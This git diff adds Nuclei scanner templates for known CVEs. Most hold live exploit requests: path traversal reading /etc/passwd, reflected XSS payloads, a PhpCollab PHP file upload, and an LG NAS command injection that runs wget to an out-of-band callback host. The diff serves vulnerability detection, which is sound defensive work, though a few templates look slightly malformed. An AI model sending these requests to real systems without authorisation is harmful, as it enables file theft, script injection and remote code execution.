diff --git a/CONTRIBUTING.md b/CONTRIBUTING.md
index 37911ee048..2a3e83abcb 100644
--- a/CONTRIBUTING.md
+++ b/CONTRIBUTING.md
@@ -94,4 +94,6 @@ You can refer to the following articles of Git and GitHub basics. In case you ar
## Tip from us😇
-**Nuclei** outcomes are only as excellent as **template matchers💡**
\ No newline at end of file
+- **Nuclei** outcomes are only as excellent as **template matchers💡**
+- Declare at least two matchers to reduce false positive
+- Avoid matching words reflected in the URL to reduce false positive
diff --git a/cves/2009/CVE-2009-5114.yaml b/cves/2009/CVE-2009-5114.yaml
new file mode 100644
index 0000000000..557037e9ed
--- /dev/null
+++ b/cves/2009/CVE-2009-5114.yaml
@@ -0,0 +1,27 @@
+id: CVE-2009-5114
+
+info:
+ name: WebGlimpse 2.18.7 - Directory Traversal
+ author: daffainfo
+ severity: high
+ description: Directory traversal vulnerability in wgarcmin.cgi in WebGlimpse 2.18.7 and earlier allows remote attackers to read arbitrary files via a .. (dot dot) in the DOC parameter.
+ reference: |
+ - https://www.exploit-db.com/exploits/36994
+ - https://www.cvedetails.com/cve/CVE-2009-5114
+ tags: cve,cve2009,lfi
+
+requests:
+ - method: GET
+ path:
+ - "{{BaseURL}}/wgarcmin.cgi?NEXTPAGE=D&ID=1&DOC=../../../../etc/passwd"
+
+ matchers-condition: and
+ matchers:
+
+ - type: regex
+ regex:
+ - "root:.*:0:0"
+
+ - type: status
+ status:
+ - 200
diff --git a/cves/2012/CVE-2012-0991.yaml b/cves/2012/CVE-2012-0991.yaml
new file mode 100644
index 0000000000..80b0e2d0a3
--- /dev/null
+++ b/cves/2012/CVE-2012-0991.yaml
@@ -0,0 +1,27 @@
+id: CVE-2012-0991
+
+info:
+ name: OpenEMR 4.1 - Local File Inclusion
+ author: daffainfo
+ severity: high
+ description: Multiple directory traversal vulnerabilities in OpenEMR 4.1.0 allow remote authenticated users to read arbitrary files via a .. (dot dot) in the formname parameter to (1) contrib/acog/print_form.php; or (2) load_form.php, (3) view_form.php, or (4) trend_form.php in interface/patient_file/encounter.
+ reference: |
+ - https://www.exploit-db.com/exploits/36650
+ - https://www.cvedetails.com/cve/CVE-2012-0991
+ tags: cve,cve2012,lfi,openemr
+
+requests:
+ - method: GET
+ path:
+ - "{{BaseURL}}/contrib/acog/print_form.php?formname=../../../etc/passwd%00"
+
+ matchers-condition: and
+ matchers:
+
+ - type: regex
+ regex:
+ - "root:.*:0:0"
+
+ - type: status
+ status:
+ - 200
diff --git a/cves/2014/CVE-2014-4535.yaml b/cves/2014/CVE-2014-4535.yaml
new file mode 100644
index 0000000000..78c28ee6cb
--- /dev/null
+++ b/cves/2014/CVE-2014-4535.yaml
@@ -0,0 +1,31 @@
+id: CVE-2014-4535
+
+info:
+ name: Import Legacy Media <= 0.1 - Unauthenticated Reflected Cross-Site Scripting (XSS)
+ author: daffainfo
+ severity: medium
+ reference: |
+ - https://wpscan.com/vulnerability/7fb78d3c-f784-4630-ad92-d33e5de814fd
+ - https://nvd.nist.gov/vuln/detail/CVE-2014-4535
+ tags: cve,cve2014,wordpress,wp-plugin,xss
+
+requests:
+ - method: GET
+ path:
+ - "{{BaseURL}}/wp-content/plugins/import–legacy–media/getid3/demos/demo.mimeonly.php?filename=filename%27%3E%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"
+
+ matchers-condition: and
+ matchers:
+ - type: word
+ words:
+ - "'>"
+ part: body
+
+ - type: word
+ part: header
+ words:
+ - text/html
+
+ - type: status
+ status:
+ - 200
diff --git a/cves/2014/CVE-2014-4536.yaml b/cves/2014/CVE-2014-4536.yaml
new file mode 100644
index 0000000000..1d3d5293f3
--- /dev/null
+++ b/cves/2014/CVE-2014-4536.yaml
@@ -0,0 +1,31 @@
+id: CVE-2014-4536
+
+info:
+ name: Infusionsoft Gravity Forms Add-on < 1.5.7 - Unauthenticated Reflected XSS
+ author: daffainfo
+ severity: medium
+ reference: |
+ - https://wpscan.com/vulnerability/f048b5cc-5379-4c19-9a43-cd8c49c8129f
+ - https://nvd.nist.gov/vuln/detail/CVE-2014-4536
+ tags: cve,cve2014,wordpress,wp-plugin,xss
+
+requests:
+ - method: GET
+ path:
+ - "{{BaseURL}}/wp-content/plugins/infusionsoft/Infusionsoft/tests/notAuto_test_ContactService_pauseCampaign.php?go=go%22%3E%3Cscript%3Ealert%28document.cookie%29%3C/script%3E&contactId=contactId%27%3E%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E&campaignId=campaignId%22%3E%3Cscript%3Ealert%28document.cookie%29%3C/script%3E&"
+
+ matchers-condition: and
+ matchers:
+ - type: word
+ words:
+ - '">'
+ part: body
+
+ - type: word
+ part: header
+ words:
+ - text/html
+
+ - type: status
+ status:
+ - 200
diff --git a/cves/2015/CVE-2015-3648.yaml b/cves/2015/CVE-2015-3648.yaml
new file mode 100644
index 0000000000..d2fd7042cb
--- /dev/null
+++ b/cves/2015/CVE-2015-3648.yaml
@@ -0,0 +1,27 @@
+id: CVE-2015-3648
+
+info:
+ name: ResourceSpace - Local File inclusion
+ author: pikpikcu
+ severity: high
+ description: ResourceSpace is prone to a local file-include vulnerability because it fails to sufficiently sanitize user-supplied input.
+ reference: |
+ - https://vulners.com/cve/CVE-2015-3648/
+ - https://www.securityfocus.com/bid/75019
+ tags: cve,cve2015,lfi,resourcespace
+
+requests:
+ - method: GET
+ path:
+ - "{{BaseURL}/pages/setup.php?defaultlanguage=..%2f..%2f..%2f..%2f..%2fetc%2fpasswd"
+
+ matchers-condition: and
+ matchers:
+
+ - type: regex
+ regex:
+ - "root:.*:0:0:"
+
+ - type: status
+ status:
+ - 200
diff --git a/cves/2015/CVE-2015-6544.yaml b/cves/2015/CVE-2015-6544.yaml
new file mode 100644
index 0000000000..63d74145e0
--- /dev/null
+++ b/cves/2015/CVE-2015-6544.yaml
@@ -0,0 +1,31 @@
+id: CVE-2015-6544
+
+info:
+ name: iTop XSS
+ author: pikpikcu
+ severity: medium
+ description: |
+ Cross-site scripting (XSS) vulnerability in application/dashboard.class.inc.php in Combodo iTop before 2.2.0-2459 allows remote attackers to inject arbitrary web script or HTML via a dashboard title.
+ reference: https://nvd.nist.gov/vuln/detail/CVE-2015-6544
+ tags: cve,cve2015,xss,itop
+
+requests:
+ - method: GET
+ path:
+ - "{{BaseURL}}/pages/ajax.render.php?operation=render_dashboard&dashboard_id=1&layout_class=DashboardLayoutOneCol&title=%%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"
+
+ matchers-condition: and
+ matchers:
+ - type: word
+ words:
+ - ''
+ part: body
+
+ - type: status
+ status:
+ - 200
+
+ - type: word
+ part: header
+ words:
+ - text/html
diff --git a/cves/2015/CVE-2015-8349.yaml b/cves/2015/CVE-2015-8349.yaml
new file mode 100644
index 0000000000..cc437482ec
--- /dev/null
+++ b/cves/2015/CVE-2015-8349.yaml
@@ -0,0 +1,30 @@
+id: CVE-2015-8349
+
+info:
+ name: SourceBans XSS
+ author: pikpikcu
+ severity: medium
+ description: Cross-site scripting (XSS) vulnerability in SourceBans before 2.0 pre-alpha allows remote attackers to inject arbitrary web script or HTML via the advSearch parameter to index.php.
+ reference: https://nvd.nist.gov/vuln/detail/CVE-2015-8349
+ tags: cve,cve2015,xss,sourcebans
+
+requests:
+ - method: GET
+ path:
+ - "{{BaseURL}}/index.php?p=banlist&advSearch=0%27%22%3E%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E&advType=btype"
+
+ matchers-condition: and
+ matchers:
+ - type: word
+ words:
+ - ''
+ part: body
+
+ - type: status
+ status:
+ - 200
+
+ - type: word
+ part: header
+ words:
+ - text/
diff --git a/cves/2016/CVE-2016-7981.yaml b/cves/2016/CVE-2016-7981.yaml
new file mode 100644
index 0000000000..9f543433f5
--- /dev/null
+++ b/cves/2016/CVE-2016-7981.yaml
@@ -0,0 +1,31 @@
+id: CVE-2016-7981
+
+info:
+ name: SPIP 3.1.2 XSS
+ author: pikpikcu
+ severity: medium
+ description: |
+ Cross-site scripting (XSS) vulnerability in valider_xml.php in SPIP 3.1.2 and earlier allows remote attackers to inject arbitrary web script or HTML via the var_url parameter in a valider_xml action.
+ reference: https://nvd.nist.gov/vuln/detail/CVE-2016-7981
+ tags: cve,cve2016,xss,spip
+
+requests:
+ - method: GET
+ path:
+ - "{{BaseURL}}/ecrire/?exec=valider_xml&var_url=%22%3E%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"
+
+ matchers-condition: and
+ matchers:
+ - type: word
+ words:
+ - '">'
+ part: body
+
+ - type: status
+ status:
+ - 200
+
+ - type: word
+ part: header
+ words:
+ - text/html
diff --git a/cves/2017/CVE-2017-15647.yaml b/cves/2017/CVE-2017-15647.yaml
new file mode 100644
index 0000000000..263e4b2bf9
--- /dev/null
+++ b/cves/2017/CVE-2017-15647.yaml
@@ -0,0 +1,27 @@
+id: CVE-2017-15647
+
+info:
+ name: FiberHome - Directory Traversal
+ author: daffainfo
+ severity: medium
+ description: On FiberHome routers, Directory Traversal exists in /cgi-bin/webproc via the getpage parameter in conjunction with a crafted var:page value.
+ reference: |
+ - https://www.exploit-db.com/exploits/44054
+ - https://www.cvedetails.com/cve/CVE-2017-15647
+ tags: cve,cve2017,lfi,router
+
+requests:
+ - method: GET
+ path:
+ - "{{BaseURL}}/cgi-bin/webproc?getpage=/etc/passwd&var:language=en_us&var:page=wizardfifth"
+
+ matchers-condition: and
+ matchers:
+
+ - type: regex
+ regex:
+ - "root:.*:0:0"
+
+ - type: status
+ status:
+ - 200
diff --git a/cves/2017/CVE-2017-6090.yaml b/cves/2017/CVE-2017-6090.yaml
new file mode 100644
index 0000000000..f9c76aab23
--- /dev/null
+++ b/cves/2017/CVE-2017-6090.yaml
@@ -0,0 +1,38 @@
+id: CVE-2017-6090
+
+info:
+ name: PhpCollab (unauthenticated) Arbitrary File Upload
+ author: pikpikcu
+ severity: critical
+ tags: cve,cve2017,phpcollab,rce,fileupload
+ reference: https://nvd.nist.gov/vuln/detail/CVE-2017-6090
+
+requests:
+ - raw:
+ - | # REQUEST 1
+ POST /clients/editclient.php?id={{randstr}}&action=update HTTP/1.1
+ Host: {{Hostname}}
+ Content-Type: multipart/form-data; boundary=---------------------------154934846911423734231554128137
+
+ -----------------------------154934846911423734231554128137
+ Content-Disposition: form-data; name="upload"; filename="{{randstr}}.php"
+ Content-Type: application/x-php
+
+
+
+ -----------------------------154934846911423734231554128137--
+
+ - | # REQUEST 2
+ GET /logos_clients/1.php HTTP/1.1
+ Host: {{Hostname}}
+
+ matchers-condition: and
+ matchers:
+ - type: word
+ part: body
+ words:
+ - "48dbd2384cb6b996fa1e2855c7f0567f"
+
+ - type: status
+ status:
+ - 200
diff --git a/cves/2018/CVE-2018-10818.yaml b/cves/2018/CVE-2018-10818.yaml
new file mode 100644
index 0000000000..2562be9725
--- /dev/null
+++ b/cves/2018/CVE-2018-10818.yaml
@@ -0,0 +1,42 @@
+id: CVE-2018–10818
+
+info:
+ name: LG NAS Devices - Remote Code Execution (Unauthenticated)
+ author: gy741
+ severity: critical
+ description: The vulnerability (CVE-2018-10818) is a pre-auth remote command injection vulnerability found in the majority of LG NAS devices. You cannot simply log in with any random username and password. However, there lies a command injection vulnerability in the “password” parameter.
+ reference: |
+ - https://www.vpnmentor.com/blog/critical-vulnerability-found-majority-lg-nas-devices/
+ - https://medium.com/@0x616163/lg-n1a1-unauthenticated-remote-command-injection-cve-2018-14839-9d2cf760e247
+ tags: cve,cve2018,lg-nas,rce,oob
+
+requests:
+ - raw:
+ - |
+ POST /system/sharedir.php HTTP/1.1
+ Host: {{Hostname}}
+ User-Agent: curl/7.58.0
+ Accept: */*
+ Content-Type: application/x-www-form-urlencoded
+
+ &uid=10; wget http://{{interactsh-url}}
+
+ - |
+ POST /en/php/usb_sync.php HTTP/1.1
+ Host: {{Hostname}}
+ User-Agent: curl/7.58.0
+ Accept: */*
+ Content-Type: application/x-www-form-urlencoded
+
+ &act=sync&task_number=1;wget http://{{interactsh-url}}
+
+ matchers-condition: and
+ matchers:
+ - type: word
+ part: interactsh_protocol # Confirms the HTTP Interaction
+ words:
+ - "http"
+
+ - type: status
+ status:
+ - 200
diff --git a/cves/2019/CVE-2019-12276.yaml b/cves/2019/CVE-2019-12276.yaml
new file mode 100644
index 0000000000..04aad1e2f5
--- /dev/null
+++ b/cves/2019/CVE-2019-12276.yaml
@@ -0,0 +1,29 @@
+id: CVE-2019-12276
+
+info:
+ name: GrandNode 4.40 - Path Traversal
+ author: daffainfo
+ severity: high
+ description: Path Traversal vulnerability in Controllers/LetsEncryptController.cs in LetsEncryptController in GrandNode 4.40 allows remote, unauthenticated attackers to retrieve arbitrary files on the web server via specially crafted LetsEncrypt/Index?fileName= HTTP requests. A patch for this issue was made on 2019-05-30 in GrandNode 4.40.
+ reference: |
+ - https://security401.com/grandnode-path-traversal/
+ - https://www.cvedetails.com/cve/CVE-2019-12276
+ tags: cve,cve2019,lfi
+
+requests:
+ - method: GET
+ path:
+ - "{{BaseURL}}/LetsEncrypt/Index?fileName=/etc/passwd"
+ headers:
+ Connection: close
+
+ matchers-condition: and
+ matchers:
+
+ - type: regex
+ regex:
+ - "root:.*:0:0"
+
+ - type: status
+ status:
+ - 200
diff --git a/cves/2019/CVE-2019-14312.yaml b/cves/2019/CVE-2019-14312.yaml
new file mode 100644
index 0000000000..4f414d6385
--- /dev/null
+++ b/cves/2019/CVE-2019-14312.yaml
@@ -0,0 +1,27 @@
+id: CVE-2019-14312
+
+info:
+ name: Aptana Jaxer 1.0.3.4547 - Local File inclusion
+ author: daffainfo
+ severity: high
+ description: Aptana Jaxer 1.0.3.4547 is vulnerable to a local file inclusion vulnerability in the wikilite source code viewer. This vulnerability allows a remote attacker to read internal files on the server via a tools/sourceViewer/index.html?filename=../ URI.
+ reference: |
+ - https://www.exploit-db.com/exploits/47214
+ - https://www.cvedetails.com/cve/CVE-2019-14312
+ tags: cve,cve2019,lfi
+
+requests:
+ - method: GET
+ path:
+ - "{{BaseURL}}/tools/sourceViewer/index.html?filename=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd"
+
+ matchers-condition: and
+ matchers:
+
+ - type: regex
+ regex:
+ - "root:.*:0:0"
+
+ - type: status
+ status:
+ - 200
diff --git a/cves/2020/CVE-2020-11455.yaml b/cves/2020/CVE-2020-11455.yaml
new file mode 100644
index 0000000000..d272459b58
--- /dev/null
+++ b/cves/2020/CVE-2020-11455.yaml
@@ -0,0 +1,27 @@
+id: CVE-2020-11455
+
+info:
+ name: LimeSurvey 4.1.11 - Path Traversal
+ author: daffainfo
+ severity: high
+ description: LimeSurvey before 4.1.12+200324 contains a path traversal vulnerability in application/controllers/admin/LimeSurveyFileManager.php.
+ reference: |
+ - https://www.exploit-db.com/exploits/48297
+ - https://www.cvedetails.com/cve/CVE-2020-11455
+ tags: cve,cve2020,lfi
+
+requests:
+ - method: GET
+ path:
+ - "{{BaseURL}}/index.php/admin/filemanager/sa/getZipFile?path=/../../../../../../../etc/passwd"
+
+ matchers-condition: and
+ matchers:
+
+ - type: regex
+ regex:
+ - "root:.*:0:0"
+
+ - type: status
+ status:
+ - 200
diff --git a/cves/2020/CVE-2020-13927.yaml b/cves/2020/CVE-2020-13927.yaml
index 0a5d03ba2a..4d8a08fa63 100644
--- a/cves/2020/CVE-2020-13927.yaml
+++ b/cves/2020/CVE-2020-13927.yaml
@@ -3,7 +3,7 @@ id: CVE-2020-13927
info:
name: Unauthenticated Airflow Experimental REST API
author: pdteam
- severity: medium
+ severity: critical
tags: cve,cve2020,apache,airflow,unauth
requests:
@@ -17,4 +17,4 @@ requests:
- '"dag_run_url":'
- '"dag_id":'
- '"items":'
- condition: and
\ No newline at end of file
+ condition: and
diff --git a/cves/2020/CVE-2020-26153.yaml b/cves/2020/CVE-2020-26153.yaml
new file mode 100644
index 0000000000..35c649d8e1
--- /dev/null
+++ b/cves/2020/CVE-2020-26153.yaml
@@ -0,0 +1,33 @@
+id: CVE-2020-26153
+
+info:
+ name: Event Espresso Core-Reg XSS
+ author: pikpikcu
+ severity: medium
+ description: |
+ cross-site scripting (XSS) vulnerability in wp-content/plugins/event-espresso-core-reg/admin_pages/messages/templates/ee_msg_admin_overview.template.php in the Event Espresso Core plugin before 4.10.7.p for WordPress allows remote attackers to inject arbitrary web script or HTML via the page parameter.
+ reference: |
+ - https://labs.nettitude.com/blog/cve-2020-26153-event-espresso-core-cross-site-scripting/
+ - https://nvd.nist.gov/vuln/detail/CVE-2020-26153
+ tags: cve,cve2020,xss,wordpress,wp-plugin
+
+requests:
+ - method: GET
+ path:
+ - "{{BaseURL}}/wp-content/plugins/event-espresso-core-reg/admin_pages/messages/templates/ee_msg_admin_overview.template.php?page=%22%2F%3E%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E%3Cb"
+
+ matchers-condition: and
+ matchers:
+ - type: word
+ words:
+ - '"/>'
+ part: body
+
+ - type: status
+ status:
+ - 500
+
+ - type: word
+ part: header
+ words:
+ - text/html
diff --git a/cves/2020/CVE-2020-27735.yaml b/cves/2020/CVE-2020-27735.yaml
new file mode 100644
index 0000000000..31b0f18651
--- /dev/null
+++ b/cves/2020/CVE-2020-27735.yaml
@@ -0,0 +1,31 @@
+id: CVE-2020-27735
+
+info:
+ name: Wing FTP's Web Interface XSS
+ author: pikpikcu
+ severity: medium
+ description: |
+ An XSS issue was discovered in Wing FTP 6.4.4. An arbitrary IFRAME element can be included in the help pages via a crafted link, leading to the execution of (sandboxed) arbitrary HTML and JavaScript in the user's browser.
+ reference: https://nvd.nist.gov/vuln/detail/CVE-2020-27735
+ tags: cve,cve2020,xss,wing-ftp
+
+requests:
+ - method: GET
+ path:
+ - "{{BaseURL}}/help/english/index.html?javascript:alert(document.domain)"
+
+ matchers-condition: and
+ matchers:
+ - type: word
+ words:
+ - ''
+ part: body
+
+ - type: status
+ status:
+ - 200
+
+ - type: word
+ part: header
+ words:
+ - text/html
diff --git a/cves/2020/CVE 2020-6171.yaml b/cves/2020/CVE-2020-6171.yaml
similarity index 100%
rename from cves/2020/CVE 2020-6171.yaml
rename to cves/2020/CVE-2020-6171.yaml
diff --git a/cves/2020/CVE-2020-9036.yaml b/cves/2020/CVE-2020-9036.yaml
new file mode 100644
index 0000000000..30caec3bae
--- /dev/null
+++ b/cves/2020/CVE-2020-9036.yaml
@@ -0,0 +1,31 @@
+id: CVE-2020-9036
+
+info:
+ name: Jeedom through 4.0.38 allows XSS
+ author: pikpikcu
+ severity: medium
+ reference: |
+ - https://sysdream.com/news/lab/2020-08-05-cve-2020-9036-jeedom-xss-leading-to-remote-code-execution/
+ - https://nvd.nist.gov/vuln/detail/CVE-2020-9036
+ tags: cve,cve2020,xss,jeedom
+
+requests:
+ - method: GET
+ path:
+ - "{{BaseURL}}/index.php?v=d&p=%22;alert(document.domain);%22"
+
+ matchers-condition: and
+ matchers:
+ - type: word
+ words:
+ - ''
+ part: body
+
+ - type: status
+ status:
+ - 200
+
+ - type: word
+ part: header
+ words:
+ - text/html
diff --git a/dns/dnssec-detection.yaml b/dns/dnssec-detection.yaml
new file mode 100644
index 0000000000..7c64193c85
--- /dev/null
+++ b/dns/dnssec-detection.yaml
@@ -0,0 +1,22 @@
+id: dnssec-detection
+
+info:
+ name: DNSSEC Detection
+ description: A template to check if Delegation of Signing (DS) record provides information about a signed zone file when DNSSEC enabled.
+ author: pdteam
+ severity: info
+ tags: dns,dnssec
+ reference: https://www.cyberciti.biz/faq/unix-linux-test-and-validate-dnssec-using-dig-command-line/
+
+dns:
+ - name: "{{FQDN}}"
+ type: DS
+ class: inet
+ recursion: true
+ retries: 3
+
+ extractors:
+ - type: regex
+ group: 1
+ regex:
+ - "IN\tDS\t(.+)"
diff --git a/exposed-panels/camunda-login-panel.yaml b/exposed-panels/camunda-login-panel.yaml
new file mode 100644
index 0000000000..ca5b5f04c2
--- /dev/null
+++ b/exposed-panels/camunda-login-panel.yaml
@@ -0,0 +1,31 @@
+id: camunda-login-panel
+info:
+ name: Camunda Login panel
+ author: alifathi-h1
+ severity: info
+ description: Default Credentials of demo:demo on Camunda application.
+ reference: https://docs.camunda.org/manual/7.15/webapps/admin/user-management/
+ tags: camunda,panel
+
+requests:
+ - method: GET
+ path:
+ - '{{BaseURL}}/app/welcome/default/#!/login'
+ - '{{BaseURL}}/camunda/app/welcome/default/#!/login'
+
+ matchers-condition: and
+ matchers:
+
+ - type: word
+ words:
+ - "Camunda Welcome"
+ - type: status
+ status:
+ - 200
+
+ extractors:
+ - type: regex
+ part: body
+ group: 1
+ regex:
+ - '